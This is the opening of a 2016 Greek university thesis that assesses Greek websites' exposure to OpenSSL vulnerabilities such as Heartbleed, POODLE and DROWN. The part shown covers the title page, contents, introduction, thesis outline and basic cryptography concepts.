Πανεπιστήμιο Αιγαίου

Μέγεθος: px
Εμφάνιση ξεκινά από τη σελίδα:

Download "Πανεπιστήμιο Αιγαίου"

Transcript

1 Πανεπιστήμιο Αιγαίου Τμήμα Μηχανικών Πληροφοριακών και Επικοινωνιακών Συστημάτων Διπλωματική Εργασία Θέμα : Αποτίμηση της επιρροής των επιθέσεων ενάντια σε ελληνικούς διαδικτυακούς τόπους Επιβλέπων καθηγητής : Ριζομυλιώτης Παναγιώτης Φοιτητής : Πρέκας Μιχαήλ Α.Μ : 321/ Σάμος, Οκτώβριος 2016

2 Ευχαριστίες Θα ήθελα να ευχαριστήσω θερμά τον επιβλέποντα καθηγητή μου κ. Ριζομυλιώτη Παναγιώτη για την ευκαιρία που μου έδωσε να ασχοληθώ με ένα τόσο ενδιαφέρον αντικείμενο και γιατί, με την καθοδήγηση του και την προτροπή του για περαιτέρω έρευνες, με βοήθησε ώστε να διευρύνω τους ορίζοντες των γνώσεών μου. Επίσης θα ήθελα να ευχαριστήσω τον θείο μου Γιάννη για την αμέριστη συμπαράσταση που έδειξε κατά την διάρκεια εκπόνησης της εργασίας, καθώς και για την πολύτιμη βοήθεια που προσέφερε. Τέλος, ευχαριστώ όλους τους φίλους μου που «δάνεισαν» τους υπολογιστές τους, για να εξαχθούν τα αποτελέσματα. 2

3 Περιεχόμενα 1. Εισαγωγή Αντικείμενο της εργασίας Αναφορά στο διαδίκτυο Χρήση του διαδικτύου Η Ασφάλεια στο διαδίκτυο Διάρθρωση της διπλωματικής Θεωρητικό Υπόβαθρο a. Βασικά στοιχεία κρυπτογραφίας και ασφάλειας a.1 Κρυπτογραφία a.1.1 Τι είναι η κρυπτογραφία a.1.2 Στόχοι της κρυπτογραφίας a.1.3 Κρυπτογραφικά αρχέτυπα a.1.4 Κριτήρια αρχέτυπων a.1.5 Κρυπτοσυστήματα a.1.5.a Συμμετρικό κρυπτοσύστημα a.1.5.b Ασύμμετρο κρυπτοσύστημα a.1.6 Μέθοδοι λειτουργίας b Το πρωτόκολλο HTTP b.1 Η επικοινωνία στο διαδίκτυο b.2 Τι είναι τα πρωτόκολλα b.3 Μοντέλο OSI b.4 Τι είναι το πρωτόκολλο HTTP b.4.a Ιστορικά στοιχεία b.4.b Πως λειτουργεί b.5 Το πρωτόκολλο HTTP/ b.5.a Βασικά Χαρακτηριστικά b.5.b Λειτουργίες : Ασφάλεια του πρωτοκόλλου HTTP a Πρωτόκολλο SSL a.1 Ιστορικά Στοιχεία

4 3.a.2 Τι είναι το SSL a.3 Τοποθέτηση και αρχιτεκτονική a.3.a Πρωτόκολλο Record Layer a.3.b Πρωτόκολλο ChangeCipherSpec a.3.c Πρωτόκολλο Alert a.3.d Πρωτόκολλο χειραψίας a.3.d.1 ClientHello a.3.d.2 ServerHello a.3.d.3 ServerKeyExchange a.3.d.4 ServerHelloDone a.3.d.5 ClientKeyExchange a.3.d.6 ChangeCipherSpec a.3.d.7 Finished a.4 Η SSL χειραψία στην πράξη a.5 Λειτουργία a.6 Ποιοι χρησιμοποιούν το SSL a.7 Υπηρεσίες Ασφαλείας a.8 Εργαλεία του SSL a.8.a Υποδομή Δημόσιου Κλειδιού (PKI) a.8.a.1 Πιστοποιητικά a.8.a.2 Αρχές Πιστοποίησης (Certification Authorities)(CA) a.8.a.3 Ιεραρχία Πιστοποιητικών a.8.a.4 Ψηφιακές υπογραφές a.9 Ζητήματα ασφαλείας στο SSL b Το πρωτόκολλο TLS b.1 Ιστορικά Στοιχεία b.2 TLS b.3 TLS b.4 TLS b.5 Ανάλυση του πρωτοκόλλου TLS b.6 Μέτρα ασφαλείας b.7 H διαφορά SSL-TLS c Το πρωτόκολλο HTTPS c.1 Ιστορικά στοιχεία

5 3.c.2 Τι προστατεύει το HTTPS c.3 Τι δεν προστατεύει το HTTPS c.4 Επιθέσεις στο HTTPS c.5 Λειτουργία c.5.1 Έναρξη σύνδεσης c.5.2 Λήξη σύνδεσης d OpenSSL d.1 Σε τι χρησιμεύει το OpenSSL d.2 Λειτουργίες του OpenSSL Ασφάλεια του OpenSSL a Ιστορικό επιθέσεων και γενική αξιολόγηση a.1 Αξιοσημείωτες επιθέσεις του OpenSSL a.1.a Επίθεση Bleichenbacher # a.1.b "Klima-Pokorny-Rosa attack" a.1.c Version rollback a.1.d Renegotiation attack a.1.e Cipher suite attack a.1.f OCSP stapling vulnerability a.1.g Lucky a.1.h Poodle attack (Padding Oracle On Downgraded Legacy Encryption) a.1.i Heartbleed attack a.1.j CCS Injection Vulnerability a.1.k FREAK (Factoring Attack on RSA-EXPORT Keys) a.1.l DROWN (Decrypting RSA with Obsolete and Weakened encryption) b Heartbleed Vulnerability b.1 Ιστορικά στοιχεία b.2 Περισσότερα ιστορικά στοιχεία b.3 Πως προστέθηκε ο λανθασμένος κώδικας στο OpenSSL b.4 Επέκταση TLS Heartbeat b.5 Το πρωτόκολλο Heartbeat b.6 Αναπαράσταση του Heartbleed b.7 Πως λειτουργεί b.8 Επιδιόρθωση κώδικα b.9 Πληροφορίες που διαρρέουν

6 4.b.10 Πόσες ιστοσελίδες βρέθηκαν ευάλωτες b.11 Μέτρα ασφαλείας c POODLE Vulnerability c.1 Ιστορικά στοιχεία c.2 Πως λειτουργεί c.3 Πιο αναλυτικά c.4 Αναπαράσταση της επίθεσης c.5 Ποιος είναι ευάλωτος c.6 Τρόποι αντιμετώπισης d DROWN Vulnerability d.1 Ιστορικά Στοιχεία d.2 Πως λειτουργεί d.3 Διαρροή Πληροφοριών d.4 Αδυναμίες στο πρωτόκολλο SSL d.5 Πότε είναι μια ιστοσελίδα ευάλωτη d.6 Πόσες ιστοσελίδες βρέθηκαν ευάλωτες d.7 Μέτρα προστασίας Αξιολόγηση της χρήσης του OpenSSL στην Ελλάδα a Συλλογή ιστοσελίδων με web crawler b Ανίχνευση για ευπάθεια ενάντια σε Heartbleed : b.1 Διάγραμμα Ροής b.2 Κώδικας b.3 Εκτέλεση b.4 Αποτελέσματα c Ανίχνευση για ευπάθεια ενάντια σε POODLE c.1 Διάγραμμα Ροής c.2 Κώδικας c.3 Αποτελέσματα (SSL 3.0) c.4 Κώδικας(2) c.5 Τελικά Αποτελέσματα d Ανίχνευση για ευπάθεια ενάντια σε DROWN d.1 1η φάση d.1.1 Διάγραμμα ροής για DROWN d.1.2 Κώδικας

7 5.d.1.3 Αποτελέσματα d.2 2η φάση d.2.1 Κώδικας d.2.2 Αποτελέσματα 2 η φάση d.3 Τελικά Αποτελέσματα e Ανίχνευση Αδύναμων αλγόριθμων κρυπτογράφησης Συμπεράσματα Λεξιλόγιο Αναφορές Εργαλεία

8 1. Εισαγωγή 1.1 Αντικείμενο της εργασίας Αντικείμενο της συγκεκριμένης διπλωματικής εργασίας είναι να μελετήσει τους υπάρχοντες μηχανισμούς ασφαλείας στον ελληνικό διαδικτυακό τόπο και να ελέγξει αν υπάρχουν «κερκόπορτες» σε αυτούς τους μηχανισμούς, αξιολογώντας και καταλήγοντας σε ορισμένα συμπεράσματα. Πιο συγκεκριμένα θα μελετήσει μια βιβλιοθήκη παροχής ασφαλείας,την βιβλιοθήκη του OpenSSL. Θα τονιστεί η προσφορά της στον τομέα της ασφάλειας του διαδικτύου, καθώς και η πληθώρα των λειτουργιών που διαθέτει. Ειδικότερα θα εστιάσει σε τρεις από τις ευπάθειες που αντιμετώπισε στην μέχρι τώρα πορεία της. Στην συνέχεια μέσω εργαλείων που δημιουργήθηκαν θα πραγματοποιηθεί διαδικασία ανίχνευσης αυτών των χαρακτηριστικών σε ιστοσελίδες του ελληνικού διαδικτυακού τόπου, με τελικό στόχο την αξιολόγηση. Η παρούσα διπλωματική εργασία αποτελείται από τα εξής τέσσερα κύρια μέρη: Το πρώτο μέρος, στο οποίο θα γίνει επεξήγηση και ανάλυση θεωρητικών εννοιών με στόχο την εξοικείωση στον τομέα της ασφάλειας, αλλά και την κατασκευή ενός υπόβαθρου αρκετά επαρκούς, ώστε να γίνει κατανοητή η ανάλυση σε πολυπλοκότερες έννοιες οι οποίες αναπτύσσονται στις επόμενες ενότητες της εργασίας. Το δεύτερο μέρος, όπου θα γίνει ανάλυση μιας βιβλιοθήκης παροχής ασφαλείας της οποίας η χρήση είναι πολύ διαδεδομένη σήμερα, της βιβλιοθήκης OpeSSL. Ειδικότερα θα αναφερθούν οι προσφορές της στην ασφάλεια καθώς επίσης και το «βεβαρημένο» ιστορικό της σε επιθέσεις που αντιμετώπισε. Από αυτές τις επιθέσεις θα αναλυθούν τρεις στα πλαίσια μελέτης των χαρακτηριστικών τους. Το τρίτο μέρος στο οποίο με γνώμονα τα χαρακτηριστικά που εκμεταλλεύονται οι τρεις επιθέσεις που ήρθε αντιμέτωπη η βιβλιοθήκη OpenSSL, πραγματοποιήθηκε κατασκευή τριών εργαλείων ανίχνευσης αυτών των χαρακτηριστικών, ένα εργαλείο για κάθε επίθεση, με στόχο την ανίχνευση των χαρακτηριστικών αυτών σε ιστοσελίδες.ταυτόχρονα με την χρήση ενός web crawler πραγματοποιήθηκε συλλογή ιστοσελίδων του ελληνικού διαδικτυακού τόπου με σκοπό τον εμπλουτισμό του δείγματος. Στην συνέχεια πραγματοποιήθηκε διαδικασία σάρωσης για την ανίχνευση των χαρακτηριστικών αυτών στις ιστοσελίδες που συλλέχθηκαν. Το τέταρτο μέρος στο οποίο με βάση τα αποτελέσματα των παραπάνω ενεργειών,θα γίνει αξιολόγηση κατά πόσον πληρούνται τα μέτρα ασφαλείας στην χρήση του διαδικτύου στην Ελλάδα. Ακολούθως θα προταθούν τρόποι για την καλύτερη αντιμετώπιση των ενδεχομένων απειλών στον χώρο. 6

9 1.2 Αναφορά στο διαδίκτυο Δίκτυα πληροφορικής εγκατεστημένα σε παγκόσμιο επίπεδο συλλέγουν και αναδιανέμουν πληροφορίες και δεδομένα πάνω σε διάφορα θέματα. Η ανάγκη για επικοινωνία και διασύνδεση όλων των επιμέρους δικτύων σε ένα ευρύτερο σύνολο κατέστη από πολύ νωρίς αναγκαία. Οι προσπάθειες αυτές ευοδώθηκαν και σήμερα έχουμε αυτό που όλοι γνωρίζουμε σαν Ιnternet ή Διαδίκτυο. Το Internet έχει γνωρίσει μεγάλη αποδοχή πράγμα το οποίο οδηγεί σε συνεχή εξέλιξη και στον εμπλουτισμό του. Οι διασυνδεδεμένοι υπολογιστές σε παγκόσμιο επίπεδο,που βρίσκονται σε ένα κοινό δίκτυο επικοινωνίας, ανταλλάσσουν μηνύματα (πακέτα) με τη χρήση διαφόρων πρωτοκόλλων (τυποποιημένων κανόνων επικοινωνίας), τα οποία υλοποιούνται σε επίπεδο υλικού και λογισμικού.το κοινό αυτό δίκτυο καλείται Διαδίκτυο. Μια εφαρμογή του διαδικτύου η οποία περιλαμβάνει όλο το περιεχόμενο του Internet είναι το World Wide Web (www),το οποίο συναντάμε σε όλες τις ιστοσελίδες. Όταν θέλουμε να καλέσουμε οποιαδήποτε ιστοσελίδα, την καλούμε μέσω αυτού. 7

10 1.3 Χρήση του διαδικτύου Καθημερινώς πολλοί άνθρωποι χρησιμοποιούν ολοένα και περισσότερο το διαδίκτυο καθώς τους προσφέρει, μεταξύ άλλων, πολλές ευκαιρίες για γνώση, ενημέρωση, ψυχαγωγία και επικοινωνία. Τους παρέχει επίσης ευκαιρίες και εργαλεία, όπως η ηλεκτρονική αλληλογραφία, η ηλεκτρονική ανταλλαγή δεδομένων μεταξύ των επιχειρήσεων κλπ. Επίσης μπορεί να χρησιμοποιηθεί ως μέσο marketing των επιχειρήσεων προς ένα ευρύ, ακόμα και παγκόσμιο, κοινό. Παράλληλα το διαδίκτυο παρέχει και δυνατότητες οικονομικών συναλλαγών. Προσφέρει τη δυνατότητα πρόσβασης σε πολλές βάσεις δεδομένων. Δίνει τη δυνατότητα δημιουργίας ηλεκτρονικών και μόνο επιχειρήσεων χωρίς να απαιτείται η ύπαρξη επαγγελματικού χώρου. Ανάμεσα στα άλλα πλεονεκτήματα είναι η σχετικά εύκολη χρήση του,ακόμα και στα παιδιά, καθώς και το εξαιρετικά χαμηλό κόστος χρήσης του. Είναι χαρακτηριστικό ότι σήμερα στην Ευρώπη τα παιδιά ξεκινούν τη χρήση του διαδικτύου σε ηλικία επτά ετών κατά μέσο όρο,ενώ μεταξύ των ετών 9 και 16 ο χρόνος που περνούν στο διαδίκτυο εκτιμάται σε 88 λεπτά ημερησίως (Ansip, 2015). Ειδικά στην Ελλάδα, σύμφωνα με τη Δίωξη Ηλεκτρονικού Εγκλήματος, η πλειοψηφία των παιδιών ηλικίας 8-15 ετών χρησιμοποιούν ηλεκτρονικό υπολογιστή σε ποσοστό 85%. Από αυτούς που χρησιμοποιούν τον ηλεκτρονικό υπολογιστή το 80% χρησιμοποιεί και το διαδίκτυο. Οι 9 στους 10 το χρησιμοποιούν τουλάχιστον μία φορά την εβδομάδα ενώ το 47% από αυτούς καθημερινά ή σχεδόν καθημερινά.ωστόσο, η χρήση του διαδικτύου συνεπάγεται ενίοτε και κινδύνους.στην μακροχρόνια χρήση του πολλά είναι τα παραβατικά φαινόμενα που σχετίζονται με τη χρήση του διαδικτύου όπως κακόβουλες εισβολές σε δίκτυα, η διαδικτυακή πειρατεία, οι απάτες σε χρηματικές συναλλαγές. Αλλοι κίνδυνοι που μπορούν να προέλθουν από τη χρήση του Διαδικτύου είναι κάποιο ακατάλληλο περιεχόμενο το οποίο μπορεί να περιλαμβάνει ρατσιστικά ή ξενοφοβικά μηνύματα, προώθηση τυχερών παιχνιδιών, μηνύματα τα οποία σχετίζονται με διαφημιστικά για αμφίβολα προϊόντα, με ψευδοτυχερά παιχνίδια κλπ. τα οποία διανέμονται σε μεγάλο αριθμό παραληπτών. Επίσης η συναισθηματική απόσταση και η αποξένωση που δημιουργείται από την πολύωρη χρήση του διαδικτύου καθώς και ο εκφοβισμός (bulling) και ο ηλεκτρονικός τζόγος. Μεταξύ των κινδύνων που καταγράφονται στο διαδίκτυο, είναι και αυτοί που έχουν σχέση με την κοινοποίηση προσωπικών δεδομένων. Αυτά, μεταξύ άλλων, είναι το ονοματεπώνυμο, η διεύθυνση, τα ονόματα των γονέων, το τηλέφωνο, οι φωτογραφίες.από την άλλη, σύμφωνα με τον Νόμο 2472/1997 (άρθρο 2, παράγραφος β), ορισμένα από τα δεδομένα ορίζονται ως «Ευαίσθητα δεδομένα». Μερικά από αυτά αφορούν στη φυλετική ή εθνική προέλευση, στις θρησκευτικές ή φιλοσοφικές πεποιθήσεις, στην υγεία. Παρατηρούμε επομένως ότι το διαδίκτυο είναι ένα δυνατό εργαλείο στα χέρια των χρηστών το οποίο, αν δεν χρησιμοποιηθεί σωστά, μπορεί να γίνει επικίνδυνο. Σήμερα η πρόκληση και ο σκοπός είναι να αναγνωρίσουμε πιθανούς κινδύνους και να ανακαλύψουμε τρόπους πρόληψης και αντιμετώπισης τους. 8

11 1.4 Η Ασφάλεια στο διαδίκτυο. Στην Ελλάδα περίπου τα 2/3 του πληθυσμού έχουν πρόσβαση στο διαδίκτυο. Αυτό οδηγεί στο συμπέρασμα πως η ασφάλεια στη χρήση του διαδικτύου κρίνεται αναγκαία περισσότερο από ποτέ, μιας και ο καθένας μας, το έχει εντάξει στην καθημερινότητα του. Σύμφωνα με μελέτες η χρήση αυτή οφείλεται στην αμεσότητα που προσφέρει καθώς και στην πλέον εύκολη προσβασιμότητα κυρίως από κινητά. Ο καθένας πλέον χρησιμοποιεί το διαδίκτυο με διάφορα μέσα. Οι προσφορές του είναι πολλές και η χρήση του απεριόριστη οδηγώντας τον χρήστη σε ατελείωτες ώρες εξερεύνησης των παροχών του. Είναι όμως αυτή η χρήση τόσο ασφαλής όσο φαίνεται ; Ίσως θα έπρεπε να απασχολήσει περισσότερους αυτό το ερώτημα. Τόσο οι πιο απλοί χρήστες όσο και αυτοί που έχουν καταστήσει την χρήση του σχεδόν τρόπο ζωής, θα πρέπει να αναρωτηθούν εάν υπάρχει η απαραίτητη ασφάλεια ;Πολλές φορές γίνεται χρήση ευαίσθητων και προσωπικών δεδομένων. Πολύ δεν εστιάζουν σε αυτόν τον τομέα μη έχοντας επίγνωση των κινδύνων και των επιπτώσεων που μπορεί να επέλθουν. Αν και παρουσιάζονται ολοένα και περισσότερες εταιρείες για την παροχή ασφάλειας στα μέσα της χρήσης του διαδικτύου, στην αντίπερα όχθη υπάρχει αντίστοιχη αύξηση, με τον αριθμο των επιθέσεων να ανεβαίνει κατακόρυφα και από αυτές ένα μεγάλο μέρος να περνάει απαρατήρητο στον χρήστη. Σήμερα με τις ηλεκτρονικές συναλλαγές παγκοσμίως κάθε υπολογιστικό σύστημα είναι ένας πιθανός στόχος.πολύ συχνά ακούμε ειδήσεις διεθνώς για υποκλοπή στοιχείων και απόρρητων δεδομένων μεγάλων εταιρειών και οργανισμών. Η υποκλοπή γίνεται από hackers και το φαινόμενο αυτό έχει λάβει απειλητικές διαστάσεις τα τελευταία χρόνια. Πολλοί και διαφορετικοί τύποι ανθρώπων έχουν στόχο να επιτεθούν και να «παραβιάσουν» την ασφάλεια των πληροφοριακών συστημάτων. Υπάρχουν άνθρωποι του οργανωμένου εγκλήματος η οδηγούμενοι από κυβερνήσεις, οργανισμούς, εταιρίες ή και τρομοκρατικές ομάδες. Στην Ελλάδα όπου η χρήση του διαδικτύου κυμαίνεται σε μεγάλα ποσοστά οι παραπάνω κίνδυνοι αποτελούν μια συνεχή απειλή για την χρήση του διαδικτύου, ωστόσο η ενημέρωση πάνω στους κινδύνους και η πρόληψη σε ζητήματα ασφαλείας δυστυχώς δεν είναι ανάλογη με αυτή της χρήσης του. Σύμφωνα με έρευνες της ΕΛΣΤΑΤ, το ποσοστό των χρηστών που δεν ανησύχησε για ζητήματα ασφαλείας κατά την χρήση του διαδικτύου είναι πάνω απο 60%. Από όσους αντιμετώπισαν κάποιο πρόβλημα ασφαλείας, με αποτέλεσμα την απώλεια δεδομένων ή χρόνου το έτος 2015 ήταν πάνω από 20%. Η χρήση του έχει ενταχθεί πλήρως στην ζωή μας με αποτέλεσμα άτομα μεγάλου ηλικιακού εύρους,να χρησιμοποιούν τα μέσα κοινωνικής δικτύωσης καθώς και να προβαίνουν σε διάφορες συναλλαγές οικονομικές,τραπεζικές κλπ. μέσω του διαδικτύου, παρέχοντας ευαίσθητα δεδομένα τα οποία χρήζουν προστασίας. 9

12 1.5 Διάρθρωση της διπλωματικής Η παρούσα διπλωματική εργασία, στο αντικείμενο της οποίας αναφέρθηκα στην αρχή της εισαγωγής, θα αποτελείται από τα εξής πέντε κεφάλαια: Στο πρώτο κεφάλαιο θα γίνει αναφορά βασικών θεωρητικών εννοιών που διέπουν την ασφάλεια με στόχο την κατανόηση για την περαιτέρω ανάλυση. Θα αναλυθεί η εφαρμογή της επιστήμης της κρυπτογραφίας και η προσφορά της στον χώρο της ασφάλειας. Πιο συγκεκριμένα θα γίνει αναφορά στους στόχους της κρυπτογραφίας, στα αρχέτυπα της και στις λειτουργίες της. Στην συνέχεια θα γίνει αναφορά στην επικοινωνία στο διαδίκτυο τονίζοντας την χρησιμότητα του μοντέλου OSI, ένα μοντέλο που αποτελείται από επίπεδα κάθε ένα από τα οποία χρησιμοποιείται για την ανάλυση και επεξήγηση της επικοινωνίας. Για να επικοινωνήσουν οι υπολογιστές προτάθηκαν ορισμένες μέθοδοι, τα πρωτόκολλα, πρότυπες μέθοδοι που χρησιμοποιούνται ανάλογα με την μορφή της επικοινωνίας, τονίζοντας και αναλύοντας το βασικότερο και πιο σημαντικό πρωτόκολλο για την μεταφορά δεδομένων στο διαδίκτυο, το πρωτόκολλο HTTP. Στο δεύτερο κεφάλαιο θα γίνει αναφορά στις παραμέτρους ασφαλείας που χρησιμοποιεί το πρωτόκολλο μεταφοράς HTTP, με βασική παράμετρο το πρωτόκολλο ασφαλεία SSL/TLS. Το πρωτόκολλο SSL ή πλέον TLS είναι το βασικότερο πρωτόκολλο ασφάλειας. Θα αναφερθεί η μακροχρόνια πορεία του στην επικοινωνία και θα πραγματοποιηθεί ανάλυση της τοποθεσίας του πρωτοκόλλου αυτού στο μοντέλο OSI,καθώς της δομής και της λειτουργίας του με στόχο την κατανόηση της χρήσης του και των πολλαπλών οφελών του. Η εφαρμογή της κρυπτογραφίας στο SSL είναι το πιο τρανό παράδειγμα για το όφελος της στον χώρο της ασφάλειας. Στη συνέχεια θα τονιστεί η αλλαγή του ονόματος του σε TLS καθώς και οι αναβαθμίσεις του και τα επιπλέον οφέλη που προσφέρει. Τέλος θα γίνει αναφορά των οφελών που προκύπτουν με την χρήση του SSL/TLS στο HTTP, με τον συνδυασμό αυτών να παίρνει το όνομα HTTPS. Το HTTPS είναι το ασφαλές HTTP, σηματοδοτεί δηλαδή μια ασφαλή επικοινωνία και την κρυπτογράφηση των δεδομένων που ανταλλάσσεται στην επικοινωνία αυτή. Στο τρίτο κεφάλαιο γίνεται αναφορά σε μια βιβλιοθήκη παροχής ασφαλείας, το OpenSSL. Η βιβλιοθήκη αυτή βασίζεται σε υλοποιήσεις του πρωτοκόλλου SSL/TLS παρέχοντας ευελιξία και λειτουργίες για την παροχή κρυπτογραφίας σε εφαρμογές.το OpenSSL χρησιμοποιείται εδώ και 16 χρόνια και το εύρος χρήσης του είναι από μεγάλες εταιρείες και οργανισμούς μέχρι έναν χρήστη ηλεκτρονικού υπολογιστή. Στα χρόνια ύπαρξής του, το OpenSSL έχει αντιμετωπίσει αρκετές επιθέσεις. Στα πλαίσια της εργασίας θα γίνει αναφορά σε ορισμένες από αυτές και πιο επιλεκτικά, τρεις από αυτές θα μελετηθούν. Αυτές οι τρεις είναι οι Heartbleed, POODLE και DROWN. Η μελέτη αυτών θα δώσει απάντηση στις ευπάθειες που εκμεταλλεύονται προκειμένου να διεξαχθούν από κάποιον εισβολέα. 10

13 Στο τέταρτο κεφάλαιο, σύμφωνα με την μελέτη των ευπαθειών θα γίνει κατασκευή τριών εργαλείων ανίχνευσης των χαρακτηριστικών αυτών. Τα εργαλεία θα κατασκευαστούν σε γλώσσα Python, μια γλώσσα προγραμματισμού τόσο απλή και ευέλικτη όσο και πλούσια στις λειτουργίες που μπορεί να προσφέρει. Ο κώδικας των εργαλείων θα παρατεθεί και θα αναλυθεί με σκοπό την κατανόηση της λειτουργίας τους. Τα εργαλεία θα ανιχνεύουν τα χαρακτηριστικά που εκμεταλλεύονται οι επιθέσεις σε μια ιστοσελίδα. Για μεγαλύτερη συλλογή αποτελεσμάτων και τον εμπλουτισό του δείγματος θα χρησιμοποιηθεί ένα πρόγραμμα συλλογής δεδομένων. Αυτό το πρόγραμμα λέγεται web crawler και θα συλλέξει τα ονόματα domain από 4562 ιστοσελίδες με σκοπό μια συνολικότερη εικόνας στα πλαίσια ανίχνευσης αυτών των κριτηρίων σε ελληνικές ιστοσελίδες. Στο πέμπτο και τελευταίο κεφάλαιο θα γίνει αξιολόγηση των αποτελεσμάτων και διεξαγωγή συμπερασμάτων και τέλος θα προταθούν λύσεις για την καλύτερη αντιμετώπιση ενδεχομένων απειλών. 11

14 2. Θεωρητικό Υπόβαθρο 2.a. Βασικά στοιχεία κρυπτογραφίας και ασφάλειας Τις πρώτες ημέρες ανάπτυξης του διαδικτύου, η φράση ασφάλεια στο διαδίκτυο ήταν κάτι που δεν συνήθιζες να ακούς. Με τον καιρό, η χρήση του διαδικτύου αυξήθηκε ραγδαία, έχοντας ως αποτέλεσμα, τα πρωτογενή πρωτόκολλα επικοινωνίας να έρχονται αντιμέτωπα με ολοένα και περισσότερα ζητήματα στο θέμα της ασφάλειας. Στις μέρες μας, η ασφάλεια στην επικοινωνία μέσω του διαδικτύου έχει αναδειχθεί σε μείζον ζήτημα καθώς το διαδίκτυο χτύπησε την πόρτα μέχρι και στο τελευταίο σπίτι του σύγχρονου κόσμου. Στα πλαίσια ενίσχυσης της ασφάλειας στην επικοινωνία, επιστρατεύτηκε μια επιστήμη, η εφαρμογή της οποίας ήταν ήδη γνωστή από τα αρχαία χρόνια, η κρυπτογραφία. Σχήμα 2-a: Η χρήση του Διαδικτύου στην Ελλάδα σε άτομα ηλικίας [41] 12

15 2.a.1 Κρυπτογραφία 2.a.1.1 Τι είναι η κρυπτογραφία Η κρυπτογραφία είναι ο επιστημονικός κλάδος που πραγματεύεται την μελέτη και την σχεδίαση μαθηματικών τεχνικών που σχετίζονται με έννοιες της ασφάλειας πληροφοριακών συστημάτων όπως η εμπιστευτικότητα, η ακεραιότητα και η πιστοποίηση δεδομένων. 2.a.1.2 Στόχοι της κρυπτογραφίας Προκειμένου να διατηρηθεί η ασφάλεια, η κρυπτογραφία έχει ως προτεραιότητα, τους εξής στόχους : 1. Εμπιστευτικότητα (Confidentiality) Αναφέρεται στην διατήρηση της μυστικότητας της πληροφορίας και την αποφυγή αποκάλυψης πληροφοριών σε μη-εξουσιοδοτημένες οντότητες. 2. Ακεραιότητα (Integrity) Η ιδιότητα της προστασίας της ορθότητας και της πληρότητας ενός αγαθού και η αποφυγή μη εξουσιοδοτημένης τροποποίησης του. 3. Αυθεντικοποίηση (Authentication) Οι ταυτότητες των οντοτήτων που πρόκειται να επικοινωνήσουν θα πρέπει να επιβεβαιωθούν. 4. Μη αποποίηση ευθύνης (Non-repudiation) Η υπηρεσία αυτή βοηθάει στην αποτροπή μιας οντότητας από το να αρνηθεί ότι μια επικοινωνία ή μια συγκεκριμένη πράξη έχει πραγματοποιηθεί. 2.a.1.3 Κρυπτογραφικά αρχέτυπα Για την παροχή της ασφάλειας της πληροφορίας χρησιμοποιούνται τρία κρυπτογραφικά αρχέτυπα : Τα αρχέτυπα δίχως κλειδί (Unkeyed primitives) Τέτοια είναι οι συναρτήσεις κατακερματισμού (hash functions), οι μονόδρομες συναρτήσεις (one-way functions) καθώς και οι τυχαίες συναρτήσεις (random functions). 13

16 Τα αρχέτυπα συμμετρικού ή μυστικού κλειδιού (Symmetric or secret key primitives) Σε αυτή την περίπτωση, η έξοδος διαφοροποιείται ανάλογα με το κλειδί που χρησιμοποιείται (Το κλειδί που χρησιμοποιείται για κρυπτογράφηση είναι ίδιο με αυτό της αποκρυπτογράφησης). Σε αυτά συγκαταλέγονται οι αλγόριθμοι κρυπτογράφησης τμήματος (block ciphers), οι αλγόριθμοι κρυπτογράφησης ροής (stream ciphers) και ο κώδικας αυθεντικοποίησης μηνύματος (message authentication code MAC) Τα αρχέτυπα ασύμμετρου ή δημόσιου κλειδιού.(asymmetric or public key primitives) Η έξοδος εξαρτάται από το κλειδί, ωστόσο σε αυτή την περίπτωση το κλειδί κρυπτογράφησης είναι διαφορετικό από το κλειδί αποκρυπτογράφησης. Σε αυτά ανήκουν οι αλγόριθμοι κρυπτογράφησης δημοσίου κλειδιού. Σχήμα 2.a.1.3 : Ταξινόμηση κρυπτογραφικών αρχέτυπων 14

17 2.a.1.4 Κριτήρια αρχέτυπων Τα αρχέτυπα αυτά θα πρέπει να αξιολογούνται με βάση ορισμένα κριτήρια [1]. Αυτά είναι : 1. Το επίπεδο της ασφάλειας (level of security). Είναι ένα κριτήριο που δύσκολα ποσοτικoποιείται. Τυπικά το κριτήριο αυτό ορίζεται από ένα άνω όριο πάνω στο ποσό της εργασίας που χρειάζεται για να πετύχει τον στόχο. Λέγεται και παράγοντας εργασίας. 2. Η λειτουργικότητα (functionality). Περισσότερα του ενός αρχέτυπα συνδυάζονται με σκοπό την επίτευξη πολλών στόχων ασφαλείας. 3. Οι τρόποι χρήσης(methods of operation).η λειτουργία του κάθε αρχέτυπου καθορίζεται ανάλογα με την χρήση του. 4. Η απόδοση(performance). Αναφέρεται στην αποδοτικότητα ενός αρχέτυπου υπό ένα συγκεκριμένο τρόπο λειτουργίας του. 5. Η ευκολία υλοποίησης(ease of implementation). Αναφέρεται στην ευκολία κατανόησης του αρχέτυπου σε πρακτική εφαρμογή. Η βαρύτητα που δίνεται σε κάθε κριτήριο εξαρτάται από την εφαρμογή και τους διαθέσιμους πόρους. Συνεπώς σε ένα περιβάλλον με περιορισμένους πόρους θα πρέπει να γίνει μια προσαρμογή δίνοντας λιγότερο βάρος στον τομέα της ασφάλειας προκειμένου να σχεδιαστεί ένα πιο αποδοτικό και πρακτικό σύστημα. 2.a.1.5 Κρυπτοσυστήματα. Κρυπτοσύστημα είναι το σύστημα που υλοποιεί τις λειτουργίες τις κρυπτογράφησης ή/και της αποκρυπτογράφησης. Τα σύγχρονα κρυπτοσυστήματα χωρίζονται με βάση τα κλειδιά σε δύο είδη: 1. Κρυπτοσύστημα Μυστικού ή Συμμετρικού Κλειδιού 2. Κρυπτοσύστημα Δημόσιου ή Ασύμμετρου Κλειδιού 2.a.1.5.a Συμμετρικό κρυπτοσύστημα Συμμετρικό ονομάζεται ένα κρυπτοσύστημα όταν το κλειδί της κρυπτογράφησης είναι το ίδιο με αυτό της αποκρυπτογράφησης. 15

